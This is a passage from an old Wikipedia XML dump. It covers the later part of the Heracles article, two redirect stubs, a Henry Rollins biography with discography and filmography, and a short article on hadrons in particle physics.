''Main Article'': [[The Twelve Labours]]

In a fit of madness, induced by [[Hera]], Heracles slew his children and brother's children and as penance as told to him by the [[Delphic Sibyl]], he was required to carry out ten tasks set by his arch-enemy, [[Eurystheus]] (who had become King in his stead). Herakles successfully carried them all out, but [[Eurystheus]] was told by [[Hera]] to deem that two of the tasks had been failed due to Herakles being helped, and allocated two more, which Herakles also completed, making 12. 

[[image:Heracles_Farnese.jpg|right|thumb|200px|Heracles, '''&amp;#x1F29;ρακλής'''. The Strongest Hero of [[Greek Mythology]]]]
The traditional order of the labours is:
#The [[Nemean Lion]].
#The [[Lernaean Hydra]].
#The [[Ceryneian Hind]].
#The [[Erymanthian Boar]].
#The [[Augeas|Augean stables]].
#The [[Stymphalian Birds]].
#The [[Cretan Bull]].
#The [[Mares of Diomedes]].
#The [[Hippolyte|Girdle of Hippolyte]].
#The [[Geryon|Cattle of Geryon]].
#The [[Hesperides| Apples of the Hesperides]].
#The Capture of [[Cerberus]].

According to [[Saint Jerome|Jerome]]'s [[Chronicon]] Herakles completed his Twelve labours in 1246 BC.

=== Omphale ===

[[Omphale]] was a queen or princess of [[Lydia]].  As penalty for a murder, Heracles was her slave.  He was forced to do women's work and wear women's clothes, while she wore the skin of the [[Nemean Lion]] and carried his olive-wood club. After some time, Omphale freed Heracles and married him. Some sources mention a son born to them who is variously named. For further details see [[Omphale]].

It was at that time that the [[cercopes]], mischievous wood spirits, stole Heracles' weapons.  He punished them by tying them to a stick with their faces pointing downward.

=== Hylas ===

While walking through the wilderness, Heracles was set upon by the [[Dryopians]]. He killed their king, [[Theiodamas]], and the others gave up and offered him Prince [[Hylas]]. He took the youth on as his weapons bearer and beloved. Years later, Heracles and Hylas joined the crew of the [[Argo]]. As [[Argonauts]] they only participated in part of the journey. In [[Mysia]], Hylas was kidnapped by a nymph.  Heracles, heartbroken, searched for a long time but Hylas had fallen in love with the nymphs and never showed up again. The ship set sail without them. [http://www.androphile.org/preview/Library/Mythology/Greek/Hercules/Hylas/Hylas.htm Story of Heracles and Hylas]

=== Iole ===

King [[Eurytus]] of [[Oechalia]] promised his daughter, [[Iole]], to whoever could beat his sons in an archery contest. Heracles won but Eurytus abandoned his promise. Heracles killed him and his sons and abducted Iole. 

=== Killing various giants ===

Heracles killed the giants [[Cycnus]], [[Porphyrion]] and [[Mimas]].

=== Laomedon/Tros ===

Before the [[Trojan War]], [[Poseidon]] sent a sea monster to attack [[Troy]]. 

[[Laomedon]] planned on sacrificing his daughter [[Hesione]] to Poseidon in the hope of appeasing him. Heracles happened to arrive (along with [[Telamon]] and [[Oicles]]) and agreed to kill the monster if Laomedon would give him the horses received from Zeus as compensation for Zeus' kidnapping [[Ganymede (mythology)|Ganymede]].  Laomedon agreed. 

Heracles killed the monster, but Laomedon went back on his word.

Accordingly in a later expedition Heracles and his followers attacked Troy and sacked it and slew all Laomedon's sons present there save [[Podarces]], who saved his own life by giving Heracles a golden veil Hesione had made. Telamon took Hesione as a war prize; they were married and had a son, [[Teucer]].

=== Other adventures ===

* Heracles defeated the [[Bebryces]] (ruled by King [[Mygdon]]) and gave their land to Prince [[Lycus]] of [[Mysia]], son of [[Dascylus]].
* He killed the robber [[Termerus]].
* Heracles visited [[Evander]] with [[Antor]], who then stayed in Italy.
* Heracles killed King [[Amyntor]] of the [[Dolopes]] for not allowing him into his kingdom.  He also killed King [[Emathion]] of [[Arabia]].
* Heracles killed [[Lityerses]] after beating him in a contest of harvesting. 
* Heracles killed [[Poriclymenus]] at [[Pylos]].
* Heracles founded the city [[Tarentum]] (modern: [[Taranto]]) in Italy.
* Heracles learned music from [[Linus]] (and [[Eumolpus]]), but killed him after Linus corrected his mistakes.  He learned how to wrestle from [[Autolycus]].  He killed the famous boxer [[Eryx]] of [[Sicily]] in a match.
* Heracles was an [[Argonauts|Argonaut]].  He killed [[Alastor]] and his brothers.
* When [[Hippocoon]] overthrew his brother, [[Tyndareus]], as King of [[Sparta]], Heracles reinstated the rightful ruler and killed Hippocoon and his sons.

== Marriage, affairs and death ==

Heracles had countless affairs with women. He naturally had a great many children from various women, collectively referred to as the [[Heracleidae]] (most notable: [[Macaria]]). One event that stands out was his stay at the palace of King Thespios, who liked his build and encouraged Heracles to make love to his daughters, all fifty of them, in one night. They all got pregnant and all bore sons. Many of the kings of ancient Greece traced their lines to one or another of these, notably the kings of [[Sparta]] and [[Macedon]].

During the course of his life, Heracles married three times. His first marriage was to [[Megara (mythology)|Megara]], whose three children he murdered in a fit of madness and whom he later gave in marriage to his companion [[Iolaus]], because the sight of her was too painful. His second wife was [[Omphale]], the [[Lydia|Lydian]] queen or princess to whom he was sold as a slave. His last marriage was to [[Deianira]], for whom he had to fight the river god [[Achelous]]. (Upon Achelous' death, Heracles removed one of his horns and gave it to some nymphs who turned it into the [[cornucopia]].) Soon after they wed, Heracles and Deianira had to cross a river, and a [[centaur]] named [[Nessus (mythology)|Nessus]] offered to help Deianeira across but then attempted to rape her. Enraged, Heracles shot the centaur from the opposite shore with a poisoned arrow (from the Lernean Hydra) and killed him. As he lay dying, Nessus told Deianira that if she ever wanted to make sure of Heracles' love, she should gather up the centaur's blood and spilled semen and save them. Later, when Deianira suspected that Heracles was preferring the company of Iole, she soaked a shirt of his in the mixture.  Heracles' servant, [[Lichas]], brought him the shirt and he put it on. Instantly he was in agony, as the shirt burned into his flesh and ripped it from his bones, for it had mixed with poison. Heracles died a voluntary death, asking that a pyre be built for him to end his suffering. After his death on the pyre the gods transformed Heracles into an immortal, or alternatively, the fire burned away the mortal part of the demi-god, so that only the god remained. He then married [[Hebe (mythology)|Hebe]].

No one but Heracles' friend [[Philoctetes]] (in some versions: [[Iolaus]] or [[Poeas]]) would light his funeral pyre.  For this action, Philoctetes (or Poeas) received Heracles' bow and arrows, which were later needed by the Greeks to defeat Troy in the Trojan War.

According to [[Eusebius]] in book 10(XII) of his &quot;Preparation of the Gospel&quot;, [[Saint Clement|Clement]] states that &quot;from the reign of Hercules in [[Argos]] to the [[deification]] of Hercules himself and of [[Asclepius]] there are comprised thirty-eight years, according to [[Apollodorus of Athens|Apollodorus]] the chronicler: and from that point to the deification of [[Castor]] and [[Pollux]] fifty-three years: and somewhere about this time was the capture of [[Troy]].&quot; Since Heracles ruled over [[Tiryns]] in Argos at the same time that [[Eurystheus]] ruled over [[Mycenae]], and since at about this time [[Linus]] was Heracles' teacher, we can conclude based on the date for Linus' notoriety in teaching Heracles in [[1260s BC|1264 BC]] (given by Jerome in his [[Chronicon]],) Heracles' death and deification occurred 38 years later in approximately [[1220s BC|1226 BC]]. The ancient Greeks celebrated the festival of the ''Herakleia'', which commemorated the death of Heracles, on the 2nd day of the month of Metageitnion (which would fall in late [[July]] or early [[August]]).

===Heracles' children===

[[Telephus]] is the son of Heracles and [[Auge]].
[[Hyllus]] is the son of Heracles and [[Deianeira]].
The sons of Heracles and [[Hebe]] are Alexiares and Anicetus.

=== Heracles' male lovers ===   
    
[[Plutarch]], in his ''Eroticos,'' maintains that Heracles' male lovers were so numerous they were beyond counting. Here is a partial list:   
    
*[[Abderus]] (entrusted with &amp;ndash; and slain by &amp;ndash; the carnivorous mares of Thracian [[Mares of Diomedes|Diomedes]]. Hercules founded the city of Abderus in [[Thrace]] in his memory, where he was honored with games.)
*[[Admetus]] (assisted in the hunt for the [[Calydonian Boar]]; claimed so by Plutarch ''(Erotikos,'' 761e)
*[[Adonis]]   
*[[Corythus]]   
*[[Elacatas]] ([[Sparta|Spartan]] [[eromenos]], honored there with a sanctuary and yearly games, according to Sosibius)
*[[Euphemus]]   
*[[Hylas]][http://www.androphile.org/preview/Library/Mythology/Greek/Hercules/Hylas/Hylas.htm]
*[[Iolaus]]  (Theban, Heracles' nephew, helped him in many labors. Plutarch reports that down to his own time male couples would go down to his tomb in Thebes to swear an oath of loyalty to him and to each other.)
*[[Iphitus]]   
*[[Jason]]   (late mention, may be literary conceit)
*[[Nestor (mythology)|Nestor]]  (loved him for his wisdom)
*[[Nireus]]   
*[[Philoctetes]] (according to Martial. He is also heir to the hero's bow and is the one who lights his pyre. Later he is the initiator of [[Neoptolemus]], son of [[Achilles]].)
*[[Phrixus]] 

(Collected by Bernard Sergent in ''Homosexuality in Greek Myth,'' Beacon Press, 1986.)

== Modern and ancient interpretations ==

Via the [[Greco-Buddhist]] culture, Heraclean symbolism was transmitted to the far east. An example remains to this day in the [[Nio]] guardian deities in front of [[Japan]]ese Buddhist temples.
&lt;br clear=all&gt;

Heracles and his Roman alter-ego have blended since the Renaissance. Interpretations of Heracles/Hercules may be found under [[Hercules]].

The storyteller [[Odds Bodkin]] has created spoken and musical retelling of the story of Heracles/Hercules, entitled &quot;The Rage of Hercules,&quot; which tells, from Heracles' point of view, many tales, including those of his labors, his service to [[Omphale]], and his rescue of Alcestis.

== Spoken-word myths &amp;ndash; audio files ==

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; 
|-
! style=&quot;background:#ffdead;&quot; | Heracles myths as told by story tellers
|-
|[[Media:Hercules and Hylas wiki.ogg|'''1. Heracles and Hylas,''' read by Timothy Carter]]
|-
|Bibliography of reconstruction: [[Homer]], ''Odyssey,'' 12.072 (7th c. BC); [[Theocritus]], ''Idylls,'' 13 (350&amp;ndash;310 BC); [[Callimachus]], ''Aetia (Causes)'', 24. Thiodamas the Dryopian, Fragments, 160. Hymn to Artemis (310&amp;ndash;250? BC); [[Apollonios Rhodios]], ''Argonautika,'' I. 1175 - 1280 (c. 250 BC); [[Apollodorus]], ''Library and Epitome'' 1.9.19, 2.7.7 (140 BC); [[Sextus Propertius]], ''Elegies,'' i.20.17ff (50&amp;ndash;15 BC); [[Ovid]], ''Ibis,'' 488 (AD 8 &amp;ndash;18); [[Gaius Valerius Flaccus]],  ''Argonautica,'' I.110, III.535, 560, IV.1-57 (1st century); [[Hyginus]], ''Fables,'' 14. Argonauts Assembled (1st century); [[Philostratus the Elder]], ''Images,'' ii.24 Thiodamas (170&amp;ndash;245); [[First Vatican Mythographer]], 49. Hercules et Hylas
|-
|}


==External links==
{{commons|Hercules (mythology)}}
*[http://www.timelessmyths.com/classical/heracles.html Timeless Myths &amp;ndash; Heracles] The life and adventure of Heracles, including his twelve labours.
*[http://homepage.mac.com/cparada/GML/Heracles1.html Heracles, Greek Mythology Link]
*[http://www.insecula.com/contact/A004087.html/ Heracles (in French)]



{| class=&quot;toccolours&quot; style=&quot;text-align:center; border: 1px solid &quot;
|-  padding:1em;padding-top:0.5em;&quot; 
|style=&quot;font-size: 100%&quot;|
|-
|style=&quot;text-align:justify; font-size: 95%&quot;|'''NOTE''': Categorising a story as a myth does not necessarily imply that it is untrue. [[Religion and mythology]] differ, but have overlapping aspects. Many English speakers understand the terms &quot;myth&quot; and &quot;mythology&quot; to mean ''fictitious'' or ''imaginary''. However, according to many dictionary definitions, these terms can also mean '''''a traditional story or narrative that embodies the belief or beliefs of a group of people''''', and this Wikipedia category should be understood in this sense only.  The use of these terms in this category does '''not''' imply that any story so categorized is historically true or false or that any belief so embodied is itself either true or false.
|}

[[Category:Greek gods]]
[[Category:Argonauts]]
[[Category:Twelve labours of Herakles]]
[[Category:Pederastic heroes and deities]]

[[bg:Херкулес]]
[[da:Herakles]]
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[[es:Heracles]]
[[fr:Héraclès]]
[[he:הרקולס]]
[[hu:Héraklész]]
[[ko:헤라클레스]]
[[it:Eracle]]
[[la:Hercules]]
[[nl:Heracles (mythologie)]]
[[ja:ヘラクレス]]
[[nb:Herakles]]
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[[sl:Heraklej]]
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[[zh:海格力斯]]</text>
    </revision>
  </page>
  <page>
    <title>Hexidecimal</title>
    <id>13818</id>
    <revision>
      <id>15911407</id>
      <timestamp>2005-04-19T22:55:26Z</timestamp>
      <contributor>
        <ip>66.133.143.68</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[hexadecimal]]</text>
    </revision>
  </page>
  <page>
    <title>Hanse Cronje</title>
    <id>13819</id>
    <revision>
      <id>15911408</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hansie Cronje]]
</text>
    </revision>
  </page>
  <page>
    <title>Henry Rollins</title>
    <id>13820</id>
    <revision>
      <id>42124712</id>
      <timestamp>2006-03-03T23:59:55Z</timestamp>
      <contributor>
        <ip>83.7.233.87</ip>
      </contributor>
      <comment>[[pl:Henry Rollins]]</comment>
      <text xml:space="preserve">{{Infobox_Biography_Alive |
  subject_name   = Henry Rollins |
  image_name     = HenryRollins.jpg |
  image_caption  = Henry Rollins |
  date_of_birth  = [[February 13]], [[1961]] |
  place_of_birth = [[Washington D.C.]], [[United States|USA]] |
}}

'''Henry Rollins''' (born [[February 13]], [[1961]]) is an [[United States|American]] [[Rock (music)|rock music]] singer and songwriter; he's also been active as a storyteller, author, actor, poet, and radio personality. He lives in [[Los Angeles, California]], but recently stated that he was moving back to his hometown of [[Washington, DC]].

==Biography==
Born '''Henry Lawrence Garfield''' in [[Washington D.C.]], his parents divorced when he was young, and Rollins was raised primarily by his mother, Iris. He was prescribed [[ritalin]] as a child, and due to what he characterises as bad behavior and poor choices, he was sent to the Bullis Academy, a Washington D.C. [[military school]]. He has expressed mixed feelings for his years at Bullis Academy: He disliked the authoritarian atmosphere and the then-boys-only campus, which impeded his early attempts at dating and made him uncomfortable around women for several years. More positively, he says Bullis helped instill a sense of discipline and a strong work ethic. It was also at military school that he began to develop his muscular build, which would later lead to what is known as the &quot;most hardcore neck in music.&quot;

Rollins became involved in the [[punk music|punk]] scene through his close friend [[Ian MacKaye]] (who would later head [[Minor Threat]] and [[Fugazi_(band)|Fugazi]]). [[Bad Brains]] were one of Rollins' favorite groups; singer [[H.R.]] would sometimes coax Rollins onstage to sing a song with them. Rollins then joined S.O.A. ([[State of Alert]]), which would release one [[EP (format)|EP]] before disbanding. Rollins worked at a number of jobs (including at the [[National Institutes of Health]]), before becoming the manager of a [[Haagen Dazs]] [[ice cream]] store.

In [[1981]], his friend Mitch Parker gave him a copy of [[Black Flag (band)|Black Flag]]'s ''[[Nervous Breakdown]]'' EP. Rollins soon became a huge fan, and began exchanging letters with the group. When Black Flag toured the East coast, playing Washington D.C. and [[New York City]], Rollins attended as many performances as he could. At an impromptu show in a bar, he asked to sing &quot;Clocked In.&quot; As vocalist [[Dez Cadena]] was going to switch to [[guitar]], the band invited Rollins to a rehearsal. Impressed by his stage demeanor, they asked him to become their permanent vocalist, and despite some doubts, he accepted, due in part to MacKaye's encouragement. His large, muscular neck and intense personality made him a perfect fit as their frontman.
[[Image:Henry_Rollins_of_Black_Flag.jpg|left|thumbnail|220px|Rollins in the 1980s]]

Rollins toured and recorded with Black Flag from 1981 until their breakup in 1986. During Rollins' tenure, Black Flag's music underwent some dramatic changes. Though guitarist [[Greg Ginn]] was the primary songwriter, Rollins wrote a number of songs with Black Flag. 

Throughout most of his time with Black Flag, Rollins kept a regular diary of his thoughts and experiences. In 1994 he published these diaries as ''[[Get In The Van]]''; the book also featured many photographs, as well as Rollins' reminiscences of his time with the group before he kept a diary. Rollins read portions of ''Get In The Van'' for an [[audio book]]; this recording won a [[Grammy]].  Rollins later characterized the entire affair as &quot;corny&quot; and gave his Grammy statuette to an acquaintance.

Rollins began publishing his own books during his time with Black Flag. His early efforts were self-made volumes ([[photocopy|photocopied]] and stapled), though he quickly began printing [[chapbook]]s before moving on to establish [[2.13.61]], an independent publisher named for his birthday.

Also while in Black Flag, Rollins met [[Joe Cole (roadie)|Joe Cole]], an acquaintance of Ginn's. Cole and Rollins quickly became close friends and roommates. Rollins and Cole were both robbed in 1991. During the incident Cole was murdered by a shot to the head (the crime remains unsolved), while Rollins narrowly escaped without injury. Most of Rollins' efforts since have been dedicated to his late friend's memory.

After Black Flag broke up in early 1986, Rollins quickly formed a new group and released a solo album and an EP with guitarist [[Chris Haskett]]. Soon, he added former [[Gone]] members [[Andrew Weiss]] and [[Sim Cain]], calling the new group the [[Rollins Band]]. They gained popularity through the strength of albums like ''The End of Silence'' (1992) and ''[[Weight (album)|Weight]]'' (1994). He also gained roles in movies and television shows (particularly as a [[VJ]] on [[MTV]]) and recorded a cover of [[AC/DC]]'s &quot;[[Let There Be Rock]]&quot; in 1991 with the [[Hard-Ons]].  

Beginning in his later years in Black Flag until present, he has toured as a [[Spoken word|spoken-word]] artist, focusing mostly on social topics, as well as recounting his life experiences. His blend of self-deprecating humor and serious discussion of important social issues has gained him great popularity. He has released nine spoken word albums through his [[2.13.61]] publishing company (and several through other record companies); 2.13.61 has also released books by Rollins, [[Joe Cole (roadie)|Joe Cole]], [[Nick Zedd]], [[Nick Cave]], and [[Michael Gira]], as well as albums by Rollins Band, [[Exene Cervenka]], [[Hubert Selby Jr.]], [[The Birthday Party (band)|The Birthday Party]], and [[Gun Club]].

Rollins is an avowed [[free jazz]] fan, having released albums by [[Matthew Shipp]] and [[Roscoe Mitchell]] on his 2.13.61 label. In [[1990]], Rollins guest hosted a [[Los Angeles, California]] college radio program and devoted much of this appearance to [[saxophone]] player [[Albert Ayler]]'s music. [http://www.math.ucdavis.edu/~mawillia/ayler.html]

Romantically linked to actress [[Kari Wuhrer]], web personality Dr.Venus, singer [[Lydia Lunch]].

==Radio and television work==
In June of [[2004]], Rollins began hosting a weekly radio show, ''Harmony In My Head'' (named after a favorite [[Buzzcocks]] song) on Los Angeles' Indie 103.1 radio. The show aired every Monday evening, with Rollins playing a variety of rock, punk, rap, and jazz music. He put the show on what would be an indefinite hiatus, with the last show airing on [[December 27]], [[2004]], in order to undergo a spoken word tour in early 2005. An expanded edition of Rollins' song lists and show notes of the first run of the show, were published by 2.13.61 this year by fan demand as the book ''Fanatic''. In late 2005, Rollins announced the return to the airwaves of ''Harmony in My Head'', Internet users can listen online every Tuesday evening from 8 - 10 PM, PST, at [http://www.indie1031.fm http://www.indie1031.fm], as of [[December 27]], [[2005]].  

Rollins is also a co-host of the [[television]] program ''Full Metal Challenge'' on [[The Learning Channel]] as well as the host of a monthly series called ''Henry's Film Corner'' on the [[Independent Film Channel]]. In [[2004]], he became an outspoken human rights activist, most vocally a crusader for [[gay rights]]. He has pinpointed the rights for gays to marry as a &quot;vital issue impeding on the rights of Americans today.&quot; He was the host of a [[benefit concert]] called &quot;[http://www.wedrock.com/ WedRock]&quot; to raise money for a pro-gay-marriage organization. During the [[2003 Iraq War]], he started touring with the [[United Service Organizations]] (USO) to entertain troops overseas, despite his personal opposition to the war and the [[George W. Bush administration|Bush administration]][http://www.uso.org/pubs/8_16_2143.cfm].

Rollins also has the distinction of having duetted with ''Star Trek'''s [[William Shatner]] on a recent Shatner album.

==Discography==
[[Image:Henry Rollins.jpg|thumb|200px|right|Henry Rollins]]
===Musical releases===
*1987  ''[[Drive By Shooting]]''
*1987  ''[[Hot Animal Machine]]''

===Spoken word releases===
*1987  ''[[Big Ugly Mouth]]'' 
*1989  ''[[Sweatbox]]'' 
*1990  ''[[Live at McCabe's]]''
*1992  ''[[Human Butt]]'' 
*1992  ''[[Deep Throat (album)|Deep Throat]]''
*1993  ''[[The Boxed Life]]''
*1994  ''[[Get in the Van: On the Road with Black Flag]]'' ([[Audio Book]])
*1996  ''[[Everything (book)|Everything]]'' (Audio Book)
*1997  ''[[Black Coffee Blues]]'' (Audio Book)
*1998  ''[[Think Tank]]'' 
*1999  ''[[Eric The Pilot]]'' 
*2001  ''[[A Rollins in the Wry]]'' 
*2001  ''[[ Live at The Westbeth Theater]]''
*2003  ''[[Talk Is Cheap Vol I]]''
*2003  ''[[Talk Is Cheap Vol II]]''
*2003  ''[[Nights Behind The Tree Line]]''
*2004  ''[[Talk Is Cheap Vol III]]''
*2004  ''[[Talk Is Cheap Vol IV]]''

===Spoken word DVDs===
*2001  ''[[Talking From The Box/Live In London]]''
*2001  ''[[Up For It]]''
*2003  ''[[Live @ Luna Park]]''
*2005  ''[[Shock &amp; Awe]]''
*2005  ''[[Live In The Conversation Pit]]''

===[[Black Flag (band)|Black Flag]] releases===
* ''[[Damaged]]'' (1981)
* ''[[My War]]'' (1984)
* ''[[Live '84]]'' (1984)
* ''[[Slip It In]]'' (1984)
* ''[[Family Man]]'' (1984)
* ''[[Loose Nut]]'' (1985)
* ''[[In My Head]]'' (1985)
* ''[[Who's Got the 10 1/2?]]'' (1986)

===[[Rollins Band]] releases===
* ''[[Life Time]]'' (1988)
* ''[[Hard Volume]]'' (1989)
* ''[[Turned On]]'' (Live)(1990)
* ''[[The End Of Silence]]'' (1992)
* ''[[Weight (album)|Weight]]'' (1994)
* ''[[Come In And Burn]]'' (1997)
* ''[[Get Some Go Again]]'' (2000)
* ''[[A Clockword Orange Stage]]'' (Live) (2000)
* ''[[Yellow Blues]]'' (2000)
* ''[[Nice (Rollins Band album)|Nice]]'' (2001)
* ''[[A Nicer Shade Of Red]]'' (2001)
* ''[[The Only Way To Know For Sure]]'' (Live) (2002)
* ''[[Come In And Burn Sessions]]'' (2004)
* ''[[Get Some Go Again Sessions]]'' (2005)

===Miscellaneous===
*''Let There Be Rock'' (1991) (single recorded with the [[Hard-Ons]])
*''Bottom'' (1993) (recorded with [[Tool]] on the album [[Undertow]])
*''Sexual Military Dynamics'' (1995) (recorded with [[Mike Watt]] on the album [[Ball-Hog or Tugboat?]])
*''Delicate Tendrils'' (1996) (recorded with [[Les Claypool]] and the Holy Mackerel on the album [[Highball_with_the_Devil|Highball with the Devil]])

==Books==
''partial list''
*''1000 Ways to Die'' 2.13.61 Publications
*''Knife Street'' 2.13.61 Publications 
*''Pissing in the Gene Pool'' 2.13.61 Publications 
*''End to End
*''One from None - Collected work 1987 Publishers 2.13.61 Publications 1991 ISBN 1880985047

*''Broken Summers'' Publishers Group West, (November 2003) ISBN 1880985756
*''Unwelcomed Songs'' Two Thirteen Sixty-One Pubns, (September 2002) ISBN 1880985713
*''See a Grown Man Cry, Now Watch Him Die'' Two Thirteen Sixty-One Pubns, (August 1997) ISBN 1880985373 
*''Solipsist'' Publishers' Group West, (August 1998) ISBN 1880985594 
*''The Portable Henry Rollins'' Villard, (February 10, 1998) ISBN 0375750002
*''Get in the Van: On the Road With Black Flag'' Two Thirteen Sixty-One Pubns, 2nd edition (January 1996) ISBN 1880985241 
*''Henry Rollins: The First Five'' Two Thirteen Sixty-One Pubns, (October 1997) ISBN 1880985519
*''Black Coffee Blues'' 
*''Do I Come Here Often? (Black Coffee Blues, Pt. 2)'', Shannon Wheeler (Illustrator) Two Thirteen Sixty-One Pubns, (December 1998) ISBN 1880985616 
*''Smile, You're Traveling (Black Coffee Blues Part 3)'' Two Thirteen Sixty-One Pubns, (October 1, 2000) ISBN 1880985691 
*''Eye Scream'' Two Thirteen Sixty-One Pubns, (October 1996) ISBN 1880985322

*''Turned On Flag Henry Rollins'' by James Parker, Orion Books,
*''Fanatic! Song lists and notes from the Harmony In My Head Radio Show,2.13.61 publications, 2005
*''Roomanitarian,2.13.61 publications, Nov. 2005

==Film and video==
*''[[Feast (film)|Feast]]'' (2006) - Coach
*''[[The Alibi (film)|The Alibi]]'' (2005) - Putty
*''[[Henry's Film Corner]]'' (2004) TV Series - Host
*''[[Teen Titans (animated series)|Teen Titans]]'' (2004) (voice) — Johnny Rancid
*''[[Deathdealer: A Documentary]]'' (2004) - Vincent
*''[[Def Jam Fight for New York|Def Jam: Fight for NY]]'' (2004) (VG) - Himself
*''[[Live Freaky Die Freaky]]'' (2003) (voice) 
*''[[Mace Griffin: Bounty Hunter]]'' (2003) (VG) (voice) - Mace Griffin
*''[[A House on a Hill]]'' (2003) - Arthur 
*''[[Bad Boys II]]'' (2003) - TNT Leader 
*''[[Psychic Murders]]'' (2002) (V) - Johnny Miracle 
*''[[Jackass: The Movie]]'' (2002) - Himself (cameo)
*''[[Shadow Realm (television show)|Shadow Realm]]'' (2002) (TV) 
*''[[The New Guy]]'' (2002) - Warden 
*''[[Time Lapse]]'' (2001) (V) - Gaines 
*''[[Scenes of the Crime]]'' (2001) - Greg 
*''[[Night Visions]]'' (2001) TV Series (uncredited) - Host 
*''The Human Journey'' (2000) TV special - Narrator
*''[[Batman Beyond: Return of the Joker]] (2000/I) (V) (voice) - Benjamin 'Ben' Knox/Bonk
*''[[Batman Beyond]]'' (1999) TV Series - Mad Stan 
*''[[Desperate But Not Serious]]'' (1999) - Bartender
*''[[Morgan's Ferry]]'' (1999) - Monroe 
*''[[Jack Frost (1998 film)|Jack Frost]]'' (1998) - Sid Gronic
*''[[Lost Highway]]'' (1997) - Guard Henry 
*''[[VH1 Legends]]'' (1996) TV Series - Narrator 
*''[[Heat (film)|Heat]]'' (1995) - Hugh Benny
*''[[Johnny Mnemonic (film)|Johnny Mnemonic]]'' (1995) - Spider
*''[[The Chase]]'' (1994) - Officer Dobbs
*''[[The Right Side of My Brain]]'' (1985)
*''[[Dennis Miller Live]]'' -Guest  (1995)

==Sources==
*Michael Azzerad, ''[[Our Band Could Be Your Life]]''

==External links==
{{wikiquote}}
*[http://two1361.com Rollins' official site]
*[http://members.cox.net/_rollins Extensive Henry Rollins news page, updated regularly]
*[http://www.comeinandburn.com COME IN AND BURN &gt; &gt; &gt; An Unofficial Henry Rollins &amp; Rollins Band Website]
*[http://imdb.com/name/nm0738433/ IMDb entry]
*[http://www.ifctv.com/henry/ IFC Site for ''Henry's Film Corner'']
* Audio interview on [[The Sound of Young America]]: [http://libsyn.com/media/tsoya/tsoya110505.mp3 MP3 Link]
*[http://www.edwebproject.org/rollins.html Primal Scream]: An Interview with Henry Rollins, by Andy Carvin and Chris Crone, 1992
*[http://www.popmatters.com/music/interviews/rollins-henry-051207.shtml PopMatters interview (12/2005)]
*[http://www.crazewire.com/features/20040217378.php Henry Rollins Interview] on Crazewire
*[http://www.unlikelystories.org/ricard1204.shtml Interview] in Unlikely Stories
*[http://www.nytimes.com/2005/11/13/movies/13uso.html A ''[[New York Times Magazine]]'' article]  covering both Rollins' tours entertaining soldiers with the USO and his opposition to the war and Bush administration policies.
*[http://www.themodernword.com/interviews/interview_rollins.html the modern word interview]
*Audio interview on [[Australian]] radio station [[JJJ]], on [[January 26]], [[2006]] : [http://www.abc.net.au/triplej/jayandthedoctor/listen/mp3s/henrirollins.mp3 MP3 Link].

[[Category:1961 births|Rollins, Henry]]
[[Category:Living people|Rollins, Henry]]
[[Category:American male singers|Rollins, Henry]]
[[Category:American songwriters|Rollins, Henry]]
[[Category:Black Flag|Rollins, Henry]]
[[Category:American actors|Rollins, Henry]]
[[Category:American poets|Rollins, Henry]]
[[Category:American writers|Rollins, Henry]]
[[Category:California writers|Rollins, Henry]]
[[Category:Musical activists|Rollins, Henry]]
[[Category:Teetotalers|Rollins, Henry]]
[[Category:Batman actors|Rollins, Henry]]

[[de:Henry Rollins]]
[[pl:Henry Rollins]]</text>
    </revision>
  </page>
  <page>
    <title>Hadron</title>
    <id>13821</id>
    <revision>
      <id>41891091</id>
      <timestamp>2006-03-02T11:53:00Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.171.194.10|62.171.194.10]] ([[User talk:62.171.194.10|talk]]) to last version by Kusma</comment>
      <text xml:space="preserve">In [[particle physics]], a '''hadron''' is a [[subatomic particle]] which experiences the [[strong interaction|strong nuclear force]]. These are not fundamental particles but are composed of [[fermion]]s, called [[quark]]s and antiquarks, and of [[boson]]s, called [[gluon]]s. The gluons mediate the [[quantum chromodynamics|color force]] that binds the quarks together.

Like all [[subatomic particle]]s, hadrons have [[quantum numbers]] corresponding to the [[representation]]s of the [[Poincare group]]: &lt;b&gt;J&lt;sup&gt;PC&lt;/sup&gt;(m)&lt;/b&gt;, where &lt;b&gt;J&lt;/b&gt; is the [[spin (physics)|spin]], &lt;b&gt;P&lt;/b&gt;, the [[parity]], &lt;b&gt;C&lt;/b&gt;, the [[C parity]], and &lt;b&gt;m&lt;/b&gt;, the mass. In addition they may carry [[flavour (particle physics)|flavour]] quantum numbers such as [[isospin]] (or [[G parity]]), [[strangeness]] etc. Hadrons can be further divided into two classes:

* '''[[Baryon]]s''' are [[fermion]]s. They always carry an additive conserved quantum number called [[baryon number]] (&lt;b&gt;B&lt;/b&gt;). &lt;b&gt;B=1&lt;/b&gt; for [[nucleon]]s (the [[proton]] and the [[neutron]]), which are part of the [[atomic nucleus]]).
* '''[[Meson]]s''' are [[boson]]s with &lt;b&gt;B=0&lt;/b&gt;.

Most hadrons can be classified by the [[quark model]] which posits that all the quantum numbers of baryons are derived from those of the ''valence quarks''. For a baryon these are three [[quark]]s and for a meson these are a quark-antiquark pair.
Each quark is thus a fermion with &lt;b&gt;B=1/3&lt;/b&gt;. Excited baryon or meson states are known as [[resonance (quantum field theory)|resonance]]s. Each ground state hadron may have many excited states, and hundreds have been observed in particle experiments. Resonances decay extremely quickly (within about 10&lt;sup&gt;&amp;minus;24&lt;/sup&gt; s) via strong interactions.

Mesons which lie outside the quark model classification are called [[exotic meson]]s. These include '''glueballs''', '''hybrid mesons''' and '''tetraquarks'''. The only baryons which lie outside the quark model at present are the '''[[pentaquark]]s''', but the evidence for their existence is unclear as of [[2005]].

All hadrons are single particle excitations of the basic theory of [[strong interactions]], called [[quantum chromodynamics]]. Due to a property called [[confinement]] that this theory enjoys, these excitations are not [[quark]]s and [[gluon]]s, which are the basic fields, but the hadrons which are composite, and carry no [[color charge]]. In other phases of [[QCD matter]] the hadrons may disappear.

==See also==
* [[Subatomic particle]]s: [[list of particles]], [[lepton]]s
* [[Quantum chromodynamics]], [[quark model]], [[confinement]]
* [[QCD matter]]

==References and external links==
*[http://pdg.lbl.gov/ The particle data group] maintains listings of properties of all known particles

{{composite}}


